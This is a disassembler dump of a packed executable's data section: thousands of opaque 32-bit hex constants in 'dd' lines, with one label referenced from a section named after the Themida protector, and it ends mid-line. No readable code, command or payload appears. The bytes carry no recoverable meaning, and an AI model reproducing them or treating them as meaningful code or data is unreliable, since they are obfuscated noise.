39A8D3EEh, 0B7986097h dd 340A5F09h, 0B79CB6DDh, 3430801Dh, 1230E34Eh, 5A47605Bh dd 0CF57D2C8h, 12CCD3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh dd 340A4CE0h, 1230E34Eh, 5A62605Bh, 0C182CE81h, 1E44D3EEh dd 0B7986097h, 340A5F09h, 0B79CB6DDh, 340A4B8Ch, 1230E34Eh dd 5A47605Bh, 0B8C85735h, 12CCD3EEh, 0B7986097h, 340A5F09h dd 0B79CB6DDh, 340A7064h, 1230E34Eh, 5A43605Bh, 0E60A0B1Bh dd 64D3EEh, 0B7986097h, 34371FD7h, 0B79CB6DDh, 340A60E8h dd 1230E34Eh, 5A52605Bh, 0B3C97658h, 12CCD3EEh, 0B7986097h dd 340A5F09h, 0B79CB6DDh, 340A76A4h, 1230E34Eh, 5A52605Bh dd 0B81AD3C0h, 12CCD3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh dd 3430803Dh, 2ACCDB0Bh, 3D15605Bh, 321337A6h, 1790A011h dd 7E1379A8h, 0E8098F2Ch, 0EBA099FBh, 0BF137931h, 2D2C2B0Dh dd 0BBC59942h, 17F37EA7h, 1790A017h, 7E1379A8h, 46CBA82Ch dd 0EBA099FFh, 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F37AA7h dd 1790A017h, 7E1379A8h, 0B397592Ch, 0EBA09995h, 0BF137931h dd 2D2C2B0Dh, 0BBC59942h, 17F346A7h, 1790A017h, 7E1379A8h dd 1D557E2Ch, 0EBA09991h, 0BF137931h, 2D2C2B0Dh, 0BBC59942h dd 17F346A7h, 1790A017h, 741379A8h, 0EC13722Ch, 0EBA09998h dd 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F34EA7h, 1790A017h dd 751379A8h, 0EE051C2Ch, 0EBA099A3h, 0BF137931h, 2D2C2B0Dh dd 0BBC59942h, 17F356A7h, 1790A017h, 751379A8h, 0B59BCA2Ch dd 0EBA099CDh, 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F352A7h dd 1790A017h, 751379A8h, 0A8B2B42Ch, 0EBA099F6h, 0BF137931h dd 2D2C2B0Dh, 0BBC59942h, 17F35EA7h, 1790A017h, 751379A8h dd 0F32C622Ch, 0EBA09998h, 0BF137931h, 2D2C2B0Dh, 0BBC59942h dd 17F35AA7h, 77A8E517h, 3213798Bh, 0B7D34631h, 340A4607h dd 1F720E56h, 87EA86FAh, 340A469Dh, 0B58E3AFh, 0E2EA600Eh dd 0D455E301h, 0B7D36061h, 340A4607h, 81A40E56h, 87EAE8A1h dd 340A469Dh, 0B58E3AFh, 0E2EA600Eh, 0D451E301h, 0B7D36061h dd 340A4607h, 78B20E52h, 87EAA6FEh, 340A469Dh, 0B58E3AFh dd 0E2EA600Eh, 0D45DE301h, 0B7D36061h, 340A4607h, 5EFE0E5Dh dword_59C800 dd 87EA9DEEh, 340A4A15h, 0B58E3AFh, 0E2EA600Eh, 0D4C9E301h ; DATA XREF: Themida_:00536D5Eo dd 0B7D36061h, 340A4607h, 0BC400E55h, 87EADDFBh, 340A469Dh dd 0B58E3AFh, 0E2EA600Eh, 0D459E301h, 0B7D36061h, 340A4607h dd 5CE90E52h, 87EADA06h, 340A469Dh, 0B58E3AFh, 0E2EA600Eh dd 0D445E301h, 0B7D36061h, 340A4607h, 0CBF0E42h, 87EAA098h dd 340A469Dh, 0B58E3AFh, 0E2EA600Eh, 0D441E301h, 8F966061h dd 340A6ACFh, 0D2916911h, 0F4156688h, 2D3543C1h, 37D2024h dd 0CDEFF0DFh, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 8290EFC1h dd 0F413436Eh, 2D3543C1h, 0E47D2024h, 0CDE9C12Bh, 2D35BF3Dh dd 7F90EB42h, 0CD13791Bh, 0F290EFC1h, 0F413436Eh, 2D3543C1h dd 327D2024h, 0CD879AB5h, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh dd 0F690EFC1h, 0F413436Eh, 2D3543C1h, 587D2024h, 0CDE3B25Eh dd 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 0FA90EFC1h, 0F413436Eh dd 2D3543C1h, 0D57D2024h, 0CD81AB41h, 2D35BF3Dh, 7F90EB42h dd 0CD13791Bh, 8690EFC1h, 0F413436Eh, 2D3543C1h, 97D2024h dd 0CDA44465h, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 8A90EFC1h dd 0F413436Eh, 2D3543C1h, 0DF7D2024h, 0CDCA1FFBh, 2D35BF3Dh dd 7F90EB42h, 0CD13791Bh, 8E90EFC1h, 0B113436Eh, 2D1623F9h dd 12606624h, 1230E3D7h, 5A466097h, 0FCAB861Ah, 12CCD3DDh dd 0B798600Eh, 340A5FC5h, 0B79CB6BBh, 3430807Ah, 1230E3D7h dd 5A526097h, 0F5A438C3h, 12CCD3DDh, 0B798600Eh, 340A5FC5h dd 0B79CB6BBh, 3430807Eh, 3150DB92h, 47156097h, 1790A064h dd 75137902h, 506B6379h, 0EBA0996Eh, 0BF137964h, 2D2C2BA7h dd 0BBC59917h, 17F3060Dh, 1790A042h, 71137902h, 481C9079h dd 0EBA0991Ah, 0BF137964h, 2D2C2BA7h, 0BBC59917h, 17F3020Dh dd 1790A042h, 71137902h, 13824679h, 0EBA09974h, 0BF137964h dd 2D2C2BA7h, 0BBC59917h, 17F30E0Dh, 77A8E542h, 32137921h dd 0B7D32664h, 340A46ADh, 9A160E07h, 87EAED22h, 340A46C8h dd 0B58E305h, 0E2EA605Bh, 0D465E3ABh, 0B7D36034h, 340A46ADh dd 4C00E07h, 87EA8379h, 340A46C8h, 0B58E305h, 0E2EA605Bh dd 0D479E3ABh, 0B7D36034h, 340A46ADh, 0F40E07h, 87EA8C88h dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D461E3ABh, 0B7D36034h dd 340A46ADh, 9E220E07h, 87EAE2D3h, 340A46C8h, 0B58E305h dd 0E2EA605Bh, 0D46DE3ABh, 0B7D36034h, 340A46ADh, 0A2C10E0Bh dd 87EAF117h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D469E3ABh dd 0B7D36034h, 340A46ADh, 3C170E0Bh, 87EA9F4Ch, 340A46C8h dd 0B58E305h, 0E2EA605Bh, 0D495E3ABh, 0B7D36034h, 340A46ADh dd 4B5C0E09h, 87EAAE15h, 340A46C8h, 0B58E305h, 0E2EA605Bh dd 0D49DE3ABh, 0B7D36034h, 340A46ADh, 7F9C0E09h, 87EABAD5h dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D491E3ABh, 0B7D36034h dd 340A46ADh, 1F220E11h, 87EAFA39h, 340A46C8h, 0B58E305h dd 0E2EA605Bh, 0D499E3ABh, 0B7D36034h, 340A46ADh, 0C23F0E07h dd 87EAB4F7h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D485E3ABh dd 0B7D36034h, 340A46ADh, 86FF0E16h, 87EA9B60h, 340A46C8h dd 0B58E305h, 0E2EA605Bh, 18E4E3ABh, 0B7D3600Eh, 340A46ADh dd 6B8C0E03h, 87EA84BAh, 340A46C8h, 0B58E305h, 0E2EA605Bh dd 0D481E3ABh, 0B7D36034h, 340A46ADh, 52D70E03h, 87EAD7DFh dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D48DE3ABh, 0B7D36034h dd 340A46ADh, 0CC010E03h, 87EAB984h, 340A46C8h, 0B58E305h dd 0E2EA605Bh, 0D489E3ABh, 0B7D36034h, 340A46ADh, 0C07D0E1Bh dd 87EAF872h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D4B5E3ABh dd 0B7D36034h, 340A46ADh, 492A0E0Bh, 87EAA1DEh, 340A46C8h dd 0B58E305h, 0E2EA605Bh, 0D4D9E3ABh, 0B7D36034h, 340A46ADh dd 5C590E03h, 87EA9C79h, 340A46C8h, 0B58E305h, 0E2EA605Bh dd 0D4C5E3ABh, 0B7D36034h, 340A46ADh, 16D80E03h, 87EAA524h dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D4C1E3ABh, 0B7D36034h dd 340A46ADh, 52D90E1Bh, 87EAB299h, 340A46C8h, 0B58E305h dd 0E2EA605Bh, 0D4B1E3ABh, 0B7D36034h, 340A46ADh, 665B0E1Bh dd 87EAF8CBh, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D4BDE3ABh dd 0B7D36034h, 340A46ADh, 1A5D0E1Bh, 87EAB731h, 340A46C8h dd 0B58E305h, 0E2EA605Bh, 0D4B9E3ABh, 367F6034h, 320566E0h dd 22150E44h, 327F6622h, 1CACF3EEh, 0B79C6097h, 340A42E1h dd 0E1F8E3AFh, 0E2EA6034h, 327D62E2h, 5A156654h, 32154622h dd 0A7EA667Bh, 340A4831h, 1184E3CDh, 0B79C603Dh, 340A66E0h dd 327D26E2h, 5A156654h, 32146622h, 0A7EA667Bh, 340A4831h dd 37B8E3CDh, 879E603Dh, 340A7740h, 37B4FB03h, 879C605Bh dd 340A7937h, 2948FB98h, 0AF9E6097h, 340A63E5h, 0CB966DA9h dd 0ED916911h, 62156682h, 0F2260615h, 2278E3ABh, 0EAB600Eh dd 31156688h, 54354230h, 1651658Fh, 4A65ED31h, 1231128Bh dd 0BB0D18CFh, 2D02479Fh, 3DEAE317h, 32156C0Dh, 231B8E44h dd 0A3FC6622h, 63156611h, 0E07EB103h, 5F80EF40h, 5813792Eh dd 22150E15h, 58476688h, 8B809944h, 0BB13790Ch, 2D25FF94h dd 6BC5ED8Eh, 3205B9ACh, 31B83022h, 0A5314255h, 42B903h dd 0B71AC884h, 0CDEA99DBh, 60EE4D4Fh, 8F9EB103h, 340A42E1h dd 1EAAFA1h, 13ECD1h, 369E2049h, 3AFCA7C3h, 3D5FAE11h dd 0CDEA8C94h, 0C5D4ED77h, 309C3C94h, 6011A4A1h, 2278E3EEh dd 0A79E6097h, 340A7629h, 2534F31Bh, 0B61A600Eh, 32156682h dd 0F496381Eh, 0CD8E8F26h, 6C4F99EEh, 0F54D3FE9h, 2D088BC1h dd 32156624h, 6F90A111h, 3213799Eh, 0B1156644h, 17F3729Fh dd 0B61A6617h, 32156680h, 7E6AFBC9h, 0E1EA6007h, 2CC8E3EEh dd 8F966097h, 340A7899h, 50976946h, 0F5156611h, 2D0BBB0Dh dd 32156742h, 87980622h, 343080FDh, 3142DB05h, 0CC3E6062h dd 8F9EB1A9h, 340A42B4h, 1EAAF0Bh, 13EC84h, 369E20E3h dd 3AFCA796h, 3D5FAEBBh, 0CDEA8CC1h, 0C5D4EDDDh, 2B905FC1h dd 3D13798Bh, 321571C0h, 0C3A8E522h, 32137931h, 321FE387h dd 0B7D26644h, 340A7C93h, 32156610h, 453DDFE9h, 0F7AF2026h dd 9F1C3456h, 2D00D398h, 74D26097h, 321566B8h, 0DCFB5B22h dd 0B71A88FFh, 321566A8h, 0EFC858C5h, 0B71ABBFFh, 32156605h dd 3215604Fh, 0F4966644h, 27A0EF26h, 0DB13790Eh, 32156E71h dd 0B726BECFh, 340A7C93h, 1916AED0h, 22D5A74Ah, 0AF9CA777h dd 340A7C93h, 3315662Ch, 77966988h, 0B3156644h, 89AEDD1Ch dd 0B9069AAh, 0F5156688h, 32156642h, 36D3E522h, 2D00D398h dd 0AF9E6097h, 340A63E5h, 0E29E6DA9h, 19D7ED71h, 2D13330Dh dd 30F5A742h, 0BCE321h, 9F83600Eh, 769CA78Bh, 0DB747A60h dd 3215665Eh, 0FB263440h, 28CF303h, 302E605Bh, 322DE22Dh dd 0F0966611h, 0BF2E278Ch, 340A7165h, 0CDFDE32Dh, 879899EEh dd 34308359h, 3170DBC9h, 0B6B9603Dh, 349169D1h, 98156688h dd 0CDEA97ADh, 3215DEDDh, 0BF986611h, 340A2B38h, 0BF9C87BBh dd 340A764Fh, 0B9433F4Bh, 2D10C715h, 0B91EED42h, 2D050BA7h dd 31F5B717h, 2D018B0Dh, 0A4E35542h, 0D2D4CB44h, 9B906513h dd 0A41379BAh, 6CD465E9h, 2F30DBA1h, 3D14600Eh, 32155F0Ch dd 0EB985D44h, 3D137902h, 32154B95h, 63985D88h, 3D137968h dd 321547A6h, 0D7985D11h dd 3D137993h, 321573C0h, 1D88EB22h, 0CD1343EAh, 0BBEDED5Bh dd 2D2593C1h, 34A18F24h, 0AF986611h, 34309DA7h, 8F96B5BBh dd 340A7B07h, 2F916911h, 9156688h, 2D18E7C1h, 3E916924h dd 9156611h, 2D1B370Dh, 37906942h, 0DB156622h, 0CDEA99A8h dd 161CE3B3h, 0B71A605Bh, 3215663Ah, 3CE0DB92h, 3D156097h dd 32156DC1h, 6C90EB22h, 0DB1343DCh, 0CDEA991Dh, 161CE37Fh dd 0B61A603Dh, 0CDEA9998h, 0D7D8DB0Bh, 3D146061h, 321571A7h dd 1E905D11h, 3D13436Eh, 32156DC1h, 9290EB22h, 0DB153EF7h dd 0CDEA99E5h, 8F969977h, 340A7EFBh, 55916911h, 915668Bh dd 17F37EC1h, 0B9121324h, 2D27D394h, 0B72E218Eh, 34308064h dd 0B79E6157h, 340A4B7Ch, 2E905DCFh, 471343A2h, 0D790ED25h dd 75137911h, 0D431E3B3h, 35606061h, 24BCE3A9h, 952600Eh dd 17F34E0Dh, 0B9121342h, 2D04B3A7h, 0B72E2117h, 343080A4h dd 0B79E6131h, 340A4A3Fh, 2905D56h, 4713436Eh, 0AB90ED43h dd 7513793Fh, 0D421E32Ah, 356060ADh, 342CE3CFh, 952603Dh dd 17F35E94h, 0B912138Eh, 2D0687C1h, 0B72E2124h, 3430802Dh dd 0B79E61FDh, 340A5689h, 76905D65h, 471343F7h, 0A790ED8Fh dd 75137955h, 0D455E319h, 22606034h, 3150DB0Bh, 4715605Bh dd 4790ED25h, 7513790Bh, 304DB0Bh, 4615605Bh, 0FE905D2Dh dd 471343F7h, 5390ED8Fh, 75137967h, 3EF8DBA1h, 4615600Eh dd 0B3A8E5FAh, 32137967h, 0B72E0F56h, 343080A1h, 0B79E61FDh dd 340A4BC5h, 0F2905D65h, 471343F7h, 0FF90ED8Fh, 75137969h dd 0D4A1E319h, 35606034h, 2338E303h, 952605Bh, 17F3A2A7h dd 0B9121317h, 2D1F230Dh, 0B72E2142h, 343080EAh, 0B79E6164h dd 340A4D09h, 8A905D03h, 471343C4h, 6F90ED16h, 7513798Ah dd 0D4A9E37Fh, 35606007h, 3EC0E39Ah, 0B1526097h, 2D36E7F9h dd 0B61A6624h, 3215641Bh, 0D45DE3B3h, 35606061h, 182CE3A9h dd 952600Eh, 17F3BA0Dh, 0B9121342h, 2D3993A7h, 0B72E2117h dd 343080C4h, 0B79E6131h, 340A7D23h, 62905D56h, 4713436Eh dd 2F90ED43h, 75137932h, 0D441E32Ah, 356060ADh, 24F8E3CFh dd 952603Dh, 17F33E94h, 0B105138Eh, 2D1623F9h, 35606624h dd 1FE8E39Ah, 9526097h, 17F33AC1h, 0B9121324h, 2D3ED394h dd 0B72E218Eh, 34308024h, 8F967657h, 340A6554h, 0B9121388h dd 2D3613C1h, 0B72E2124h, 34308075h, 0B79E61FDh, 340A74E5h dd 5A905D65h, 471343F7h, 0F790ED8Fh, 75137975h, 0D465E319h dd 22606034h, 3150DB0Bh, 4715605Bh, 8F90ED25h, 7513791Eh dd 0D479E3B3h, 22606061h, 3150DBA1h, 4715600Eh, 0B390ED8Fh dd 75137941h, 0D461E319h, 35606034h, 2008E303h, 952605Bh dd 17F31EA7h, 0B9121317h, 2D1A9F0Dh, 0B72E2142h, 3430805Eh dd 0B79E6164h, 340A41CDh, 0B2905D03h, 471343C4h, 0F390ED16h dd 7513798Dh, 0D491E37Fh, 35606007h, 322CE39Ah, 9526097h dd 17F3EEC1h, 0B9121324h, 2D150394h, 0B72E218Eh, 343080C8h dd 0B79E6157h, 340A77E8h, 0A2905DCFh, 471343A2h, 0F90ED25h dd 7513791Ch, 18E4E3B3h, 3560605Bh, 11B4E3A9h, 952600Eh dd 17F3F20Dh, 0B9121342h, 2D1FF3A7h, 0B72E2117h, 34308058h dd 8F967F31h, 343080FAh, 0B11C1311h, 2D084335h, 35616642h dd 2D5CE3A9h, 952600Eh, 17F3B20Dh, 0B10C1342h, 17F3BE9Fh dd 3B606617h, 2F30DB0Bh, 4615605Bh, 790ED25h, 75137905h dd 0D48DE3B3h, 35606061h, 21ACE3A9h, 952600Eh, 17F3FA0Dh dd 0B9121342h, 2D13B7A7h, 0B72E2117h, 34308028h, 0B79E6131h dd 340A6FDFh, 96905D56h, 4713436Eh, 0BF90ED43h, 7513792Ch dd 0D4BDE32Ah, 356060ADh, 3C7CE3CFh, 952603Dh, 17F3CA94h dd 0B912138Eh, 2D3F5FC1h, 0CD1E2124h, 3210E21Eh, 0D8FC6688h dd 9EA99BFh, 2D38FBA7h, 39906917h, 0BF156688h, 178A56C1h dd 0C9C68F24h, 0B72E99EEh, 340A70FDh, 320DE34Bh, 8F966622h dd 343083DCh, 39906989h, 0BF156644h, 6AF345A7h, 0C9BA8F11h dd 0B72E9977h, 3430804Ch, 3219E22Dh, 0B72E6611h, 34308084h dd 3210E34Bh, 0A0FC6622h, 8CEA99EAh, 32156688h, 3D1498C7h dd 321523A7h, 0CE905D11h, 3D13436Dh, 32156DC1h, 0D690EB22h dd 0DB153E73h, 0CDEA9DE5h, 0D415E37Fh, 0B71A6007h, 3215661Ah dd 514FE305h, 64FC661Ch, 9EA99D9h, 17F36294h, 3990698Eh dd 0BF156644h, 6A76F9A7h, 0C92A8F11h, 0F29E9977h, 321567FAh dd 3DE36D22h, 32156394h, 0C9368F88h, 0C29E99BBh, 351CD3ABh dd 879C600Eh, 340A6581h, 3DFC58C4h, 321540A7h, 336BED11h dd 0EC9E988Bh, 7215A5C5h, 8F2E6622h, 340A6118h, 321DE487h dd 0C92E6644h, 3210E02Dh, 0D4FC6611h, 0B9EA9972h, 2D36F7F9h dd 0C390A124h, 32137919h, 52156688h, 311CD3CDh, 0AF98603Dh dd 34336701h, 0B01AB577h, 32156666h, 0A3DFFBAFh, 0E1EA6035h dd 0CDCBE587h, 879E99BBh, 340A652Bh, 3AE4D398h, 0AF986097h dd 34302A63h, 0B79EB5DDh, 340A6118h, 311CE301h, 0BF74605Bh dd 17E81FBFh, 0BFC69917h, 14150715h, 3DC69942h, 32156AA1h dd 3B90E511h, 3713798Bh, 0CDEAB8ADh, 0B888EBDDh, 0CD134011h dd 3A96695Bh, 0B1156644h, 0FC62E0h, 0BF156611h, 1684AC15h dd 3DC69942h, 32156DA1h, 3BA0ED11h, 0DB13798Bh, 321561C4h dd 311CEBA9h, 879C600Eh, 340A6581h, 0EBE2A86Fh, 96E69709h dd 0CDEAF0F8h, 4D88EB77h, 0CD134308h, 19D2EDF1h, 2D36F794h dd 0F790EF8Eh, 0B913795Bh, 2D36F7A7h, 0BF453117h, 17599205h dd 0B9C49942h, 2D10CBA7h, 0B9423617h, 2D36F70Dh, 0BF983642h dd 34302B01h, 0E29EB7EEh, 0BF3EAE03h, 340A63E9h, 1C38DBA1h dd 3D15600Eh, 32154D0Ch, 0BB90ED44h, 1913790Ch, 2D3B4B94h dd 3DD45D8Eh, 321571C2h, 0D390ED22h, 31137919h, 2D3B4B0Dh dd 0C790EF42h, 0DB137912h, 32156652h, 7AD4EDD9h, 321A9949h dd 0B79C2622h, 340A4898h, 3114E389h, 0B7D2605Bh, 340A480Fh dd 32156611h, 327D26E2h, 63156654h, 0A7EA6648h, 340A48A8h dd 2A88F377h, 0B79C605Bh, 340A6EC3h, 2E0E398h, 0CD4C6097h dd 2D2593F1h, 9FA09924h, 65137914h, 1184D377h, 0B798605Bh dd 34303797h, 0BF14B6EEh, 340A48A5h, 2E0DBCFh, 879E603Dh dd 340A63BCh, 879EC27Bh, 340A7951h, 0CE53A18Fh, 32156611h dd 3710A649h, 7477116Ch, 37D8E321h, 0BF9E600Eh, 340A567Dh dd 0F5B86ECDh, 32159A64h, 879C6611h, 340A799Dh, 3DEA9EC7h dd 321546A7h, 0EF2BE711h, 3DC8BB55h, 321572C1h, 3213A122h dd 0B1156611h, 879C624Eh, 340A7951h, 0CDE380CBh, 31D5A7EEh dd 37D8E38Bh, 8F96605Bh, 340A739Fh, 0AF916910h, 0B3156688h dd 98BFCC7Ah, 20906988h, 0B1156611h, 74D2624Eh, 321566B8h dd 0DBA5F122h, 321565F8h, 0DAA5F188h, 17A8E514h, 3313793Fh dd 322BE21Eh, 32AD6688h, 0B1156645h, 17F3729Fh, 0B61A6617h dd 32156680h, 66E3FBC9h, 0E1EA6007h, 3D855991h, 32156E0Ch dd 37D2E544h, 321525CBh, 62EDE511h, 321FE487h, 0A2A56644h dd 0DBBF3E88h, 32156635h, 4D95CCD0h, 0B71A8FBBh, 3215663Ah dd 0D401DB92h, 3D1560ADh, 32156EC0h, 0F488EB22h, 0CD134345h dd 3652EE5Bh, 2E0E3CFh, 0F53E603Dh, 99118E92h, 0CE53A125h dd 32156644h, 0CDEA77CBh, 27A0EFEEh, 60137997h, 3295662Ch dd 0CD150C22h, 2D25FFA4h dd 0CB80998Eh, 68137942h, 37B4EBA9h, 33D2600Eh, 32156688h dd 0BB11A7C7h, 2D10C7AFh, 0C7058F17h, 96FC9977h, 52156642h dd 37B4EBA9h, 3B9E600Eh, 0D405EB01h, 0A946061h, 7E51326Ch dd 3209E31Eh, 0B3736688h, 1C59623Ch, 3205E32Dh, 0C29E6611h dd 0B913A00Bh, 2D1EDBC1h, 33138F24h, 0C29E6611h, 0FB26B603h dd 3D155AE8h, 32153BA6h, 3D385A11h, 0CDEA890Ch, 3D3B5ABBh dd 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h, 0CDEAB1A4h dd 3D545AEEh, 3215960Ah, 3D4F5A44h, 0CDEAA1A4h, 3D4A5AEEh dd 0CDEAD90Ch, 3D745ABBh, 3215BEA0h, 3D6F5A11h, 0CDEAC90Eh dd 32DE8FBBh, 9576622h, 0F09169C7h, 78156688h, 0CD8F8F05h dd 0FB9099DDh, 32A6E21Eh, 87986688h, 340A7171h, 0C89EACA9h dd 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh, 0F4B195E6h dd 0BF1599CFh, 2D0253D1h, 8790ED24h, 0B7137935h, 28906948h dd 0F4156644h, 2D3543A7h, 0E07D2117h, 0CDC1FC2Fh, 2D2717F1h dd 0A190EB24h, 0CD134468h, 0E2EA3458h, 0B71AA6C1h, 3215661Ah dd 1FA4E39Ah, 0F2906097h, 320FE34Bh, 0B7D36622h, 340A4634h dd 2EFC0EC4h, 87EABF9Eh, 340A5453h, 4B86E39Ch, 0E2EA60AAh dd 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h, 0D405E3CDh dd 64456007h, 0AB42E39Ch, 0E2EA60AAh, 0B71AA64Fh, 32156627h dd 321562F8h, 1651EF88h, 52D60758h, 0D405EBA9h, 0B9456034h dd 0E556549h, 329DF6CFh, 0A79C6622h, 340A68B0h, 32159E8Dh dd 3E45ED44h, 2304F3ABh, 0B94D600Eh, 193142CCh, 23905D85h dd 3D137933h, 32157693h, 93905D88h, 3D13794Ah, 321562A1h dd 36D70711h, 36D20788h, 32156660h, 1651A122h, 32156615h dd 3210DE88h, 0BF986644h, 340A2B92h, 0B87587EEh, 3DFC5A8Eh dd 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h, 321574C0h dd 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h, 0B8D60722h dd 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh, 3113A592h dd 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh, 0B9156688h dd 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h, 3D3B8DC7h dd 0CDEADAA6h, 321F8FEEh, 4C956688h, 0B71A9845h, 0CDEA998Fh dd 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h, 42EEE6E1h dd 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h, 3391E287h dd 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h, 0D0296644h dd 3056E22Dh, 694A6611h, 0F5D638D1h, 17F386C1h, 32156024h dd 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh, 351CE39Ah dd 0A79E6097h, 340A6EB5h, 0F196B8A9h, 304B6517h, 0B01ABEB3h dd 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h, 54B80042h dd 0B1BEF589h, 0E9C62D7h, 1661EFACh, 3BA0EF48h, 6D137921h dd 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 17F386A7h, 32156417h dd 3DCBED88h, 0CB9568F2h, 3A9669A2h, 31156611h, 3FFC2551h dd 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h, 351CE3CFh dd 0A79E603Dh, 340A6EE0h, 2FF8DB0Bh, 3D14605Bh, 3215C5A6h dd 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h, 329B8FEEh dd 0B7D26688h, 343080A4h, 32156620h, 841AB89Ah, 0B2ECE686h dd 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h, 0B3CC91BBh dd 321599C3h, 0B9CC4D11h, 2D126F0Dh, 0C380ED42h, 0B113792Ah dd 2D088BACh, 0B61A678Eh, 3215660Ch, 0B01ABE19h, 32156619h dd 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh, 381A8708h dd 0ED3ECC85h, 0A1118DA1h, 30D3E5BAh, 311CD301h, 0B7D2605Bh dd 340A7BCFh, 32156610h, 6911A20Bh, 36D1E51Dh, 0DB11A2A1h dd 0CDEA9F66h, 98FCD6C6h, 0F53EA0CFh, 99118EA1h, 6911A292h dd 0F69638D1h, 0CBD28F40h, 0B7D299DDh, 343080F1h, 3215668Dh dd 0F196B8CFh, 0B90B6526h, 2D126F94h, 0C380ED8Eh, 7C13794Ch dd 2448DBA1h, 3D14600Eh, 3214650Ch, 3DCD5D44h, 32156EA0h dd 3DCF5D11h, 32154D0Eh, 3BA0EF44h, 0B9137921h, 17F3868Ch dd 1649678Eh, 32CB8F48h, 0F54A6622h, 2D033B94h, 3215678Eh dd 6C4C3D44h, 0DB11A2A1h, 0CDEA9EE6h, 2FF8DB0Bh, 3D14605Bh dd 3215DDA6h, 3B884D11h, 0B913798Fh, 2D36F7C9h, 19DE6524h dd 37FCE5DEh, 0A3BF8F38h, 36D1E5EFh, 0B14B3F79h, 1CFC62D5h dd 0F5EA9971h, 17F386C1h, 32156424h, 3DCBED11h, 0CB95683Eh dd 3A9669C4h, 31156622h, 3FFC25C8h, 0B2156688h, 0EBE299ADh dd 32EA87A3h, 0EB3E6611h, 351CE303h, 0A79E605Bh, 340A6ED3h dd 0CDEA20F8h, 0D290A177h, 301343A2h, 0B9156622h, 3CA369CFh dd 3D959F08h, 32156EC7h, 71CC6522h, 32156BF8h, 0CDFCE688h dd 0D394BFB3h, 321566DDh, 0B79EBF3Ah, 340A6181h, 3AE4F3CFh dd 8F96603Dh, 340A7BFCh, 0FB916989h, 9EA99BAh, 3A9769FAh dd 9156611h, 55936952h, 7CEA99B9h, 0FD3EA8A9h, 82108F92h dd 9984CC61h, 0CDEDEEADh, 0E13ECDDh, 349169F9h, 0CA156688h dd 32157EADh, 0EC9E3522h, 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh dd 998662C9h, 37D3E54Ah, 5444A571h, 0F12960CFh, 3255E22Dh dd 0F9296611h, 322DE287h, 0F0296644h, 322DE22Dh, 0F8296611h dd 3225E287h, 0F736644h, 0B61A43DDh, 32156621h, 0CD3B5BEEh dd 3218E34Bh, 749F6622h, 0EE54213h, 11916928h, 6B156644h dd 322C8FDAh, 0FB266611h, 320C8FC9h, 31AC6644h, 0DB156622h dd 3215661Eh, 32156031h, 32108F44h, 35AC6622h, 0C1156611h dd 0C398ED2Ch, 0B713794Ch, 349069EBh, 0BB156611h, 2D1D973Dh dd 0F1EC3F42h, 0E13ED44h, 579169D2h, 0B8156688h, 0C2F6E69Ch dd 3D659DA2h, 3215FA95h, 3DFC5A88h, 321529C0h, 3DFE5A22h dd 32152195h, 3DD75A88h, 321559C0h, 3DDE5A22h, 32155195h dd 0CD280088h, 1F916961h, 0E156622h, 179169DBh, 0E156688h dd 509169A7h, 54156622h, 3DEA482Ch, 32156B0Dh, 3053EC44h dd 92299606h, 3213E21Eh, 0DBED6688h, 3215664Bh, 3AE4D3ABh dd 0AF98600Eh, 34302AAFh, 0F1ECB5BBh, 2253ED72h, 3440E398h dd 0B14D6097h, 8F987A82h, 340A548Bh, 165165BCh, 8F98CDACh dd 340A485Dh, 1651658Fh, 0BFBE3635h, 2D018B35h, 7616CB42h dd 6CBE4E06h, 0AF9830D2h, 34302A88h, 95FCB5BBh, 0DFFFFFFFh dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 584FC0D5h, 0ED96A460h dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh dd 0A851D6ACh, 8660D554h, 2559D7BAh, 0AFD8A5CEh, 32DCF143h dd 8C30E432h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h dd 65CE38C8h, 7462C71h, 8D9FC4DFh, 3C6D552h, 92B85E00h dd 5E98354h, 0CB8BA4F3h, 0DABA31E4h, 32565DB1h, 6EBC2FEBh dd 525072E5h, 7A24113Ch, 77DDD394h, 0B95163B9h, 75DF79F4h dd 221331B5h, 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h dd 